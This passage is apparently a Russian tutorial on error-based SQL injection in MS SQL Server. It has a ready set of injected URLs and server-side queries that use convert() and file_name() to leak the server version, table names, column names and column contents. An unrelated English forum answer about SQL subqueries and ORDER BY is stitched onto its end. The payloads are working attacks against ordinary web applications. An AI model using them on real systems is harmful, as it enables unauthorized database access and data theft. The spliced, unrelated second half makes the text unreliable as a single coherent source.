Например, при использовании конструкции convert(int,@@version) вначале будет выполняться SQL-запрос из второго аргумента, а затем функция convert попытается преобразовать результаты выполнения запроса к целочисленному типу. Однако поскольку SQL-запрос возвращает данные типа varchar, преобразование не выполнится, и функция convert возвратит ошибку, суть которой будет сводиться к тому, что результаты выполнения запроса не могут быть преобразованы к целочисленному типу. Именно используя этот трюк, злоумышленник может получить результаты выполнения SQL-запроса.

Перечень функций, при помощи которых доступна реализация похожих сценариев:

• convert ()

• file_name ()

• db_name()

• col_name()

• filegroup_name()

• object_name()

• schema_name()

• type_name()

• cast()

Пример

Предположим, что у нас есть URL, где присутствует уязвимость на базе SQL-инъекции, когда мы передаем содержимое поля «order» через метод HTTP GET:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;amp;amp;order=column_name

Приложение принимает пользовательские данные из параметра «order» метода HTTP GET и формирует следующий запрос:

Select table_name,column_name from information_schema.columns order by column_name

Примеры инъекций с функцией convert()

Получение версии SQL-сервера

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order=convert(int,@@version)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by convert(int,@@version)

Рисунок 1: Пример SQL-инъекции для получения версии сервера с использованием функции convert 

Получение имени таблицы в текущей базе данных

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order=CONVERT(int,(select top(1) table_name from information_schema.columns))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by CONVERT(int,(select top(1) table_name from information_schema.tables))

Рисунок 2: Пример SQL-инъекции для извлечения имени таблицы с использованием функции convert

Получение имени колонки таблицы

Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order= convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Рисунок 3: Пример SQL-инъекции для извлечения имени колонки с использованием функции convert

Извлечение данных из колонки таблицы

Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order=convert(int,(select top(1) xserver_name from spt_fallback_db))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) xserver_name from spt_fallback_db))

Рисунок 4: Пример SQL-инъекции для получения информации из колонки с использованием функции convert

Примеры инъекций с функцией file_name()

Получение версии SQL-сервера

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;order=file_name(@@version)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by file_name(@@version)

Рисунок 5: Пример SQL-инъекции для получения версии сервера с использованием функции file_name

Получение имени таблицы в текущей базе данных

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order=file_name(select top(1) table_name from information_schema.columns)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by file_name(select top(1) table_name from information_schema.tables)

Рисунок 6: Пример SQL-инъекции для извлечения имени таблицы с использованием функции file_name

Получение имени колонки таблицы

Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order= file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))

Рисунок 7: Пример SQL-инъекции для извлечения имени колонки с использованием функции file_name

Извлечение данных из колонки таблицы

Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&amp;amp;order= file_name((select top(1) xserver_name from spt_fallback_db))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name((select top(1) xserver_name from spt_fallback_db))

Рисунок 8: Пример SQL-инъекции для получения информации из колонки с использованием функции file_name

Благодарности

Выражаю особую благодарность IndiShell Crew и Myhackerhouse.

The reason you are getting the error described in your original post is because like it says, in the sub-select in your main select, you cannot have an ORDER BY there. xQbert’s solution will get you only the records with that max value. For example if you have a table movie_view_history like this:

|movie_id|view_date|
--------------------
|  1     |1/1/2014 |
|  1     |1/2/2014 |
|  2     |2/1/2014 |
|  2     |2/2/2014 |

xQbert’s solution will return:

select movie_id, MAX(view_date)
from movie_view_history
group by movie_id

|movie_id|view_date|
--------------------
|  1     |1/2/2014 |
|  2     |2/2/2014 |

However, if you want to return the following (who knows, maybe you have a business reason for this):

select 
    movie_id,
    (select max(view_date)
     from movie_view_history as [A]
     where [A].movie_id = [B].movie_id)
from movie_view_history as [B]

|movie_id|view_date|
--------------------
|  1     |1/2/2014 |
|  1     |1/2/2014 |
|  2     |2/2/2014 |
|  2     |2/2/2014 |

Then you can use the following:

SELECT 
  RMA_ENQUIRY.RMA_ID,
   PART_NUMBER_TBL.PART_NO, 
   PART_SERIAL.SERIAL_NUM,
   RMA_ENQUIRY.RMA_TYPE,
   RMA_ENQUIRY.RMA_FAILURE_TYPE,
   RMA_ENQUIRY.RMA_COMPLAINT,
   RMA_ENQUIRY.RMA_ADDITIONAL_INFORMATION,
   RMA_ENQUIRY.RMA_REC_DATE,
   RMA_ENQUIRY.RMA_STATUS,
   RMA_ENQUIRY.RMA_SHIP_STATUS,
   (select [B].SHIP_ADMIN_STATUS from TBL_RMA_SHIPPING AS [B] where [B].SHIP_RMAID=[A].SHIP_RMAID) AS [SHIP_ADMIN_STATUS],
   RMA_ENQUIRY.[USER_ID],
   [A].SHIP_DETAILS
FROM RMA_ENQUIRY 
   LEFT JOIN PART_NUMBER_TBL 
              ON RMA_ENQUIRY.RMA_PART_NO=PART_NUMBER_TBL.PARTID 
   LEFT JOIN PART_SERIAL 
              ON RMA_ENQUIRY.RMA_SERIAL_NO=PART_SERIAL.SERIAL_ID
   LEFT JOIN TBL_RMA_SHIPPING AS [A] ON RMA_ENQUIRY.RMA_ID=[A].SHIP_RMAID
WHERE RMA_ENQUIRY.RMA_STATUS='A' AND RMA_ENQUIRY.RMA_SHIP_STATUS=1
ORDER BY RMA_ENQUIRY.RMA_REC_DATE DESC

I like xQbert’s solution, but it all depends on what you are trying to accomplish!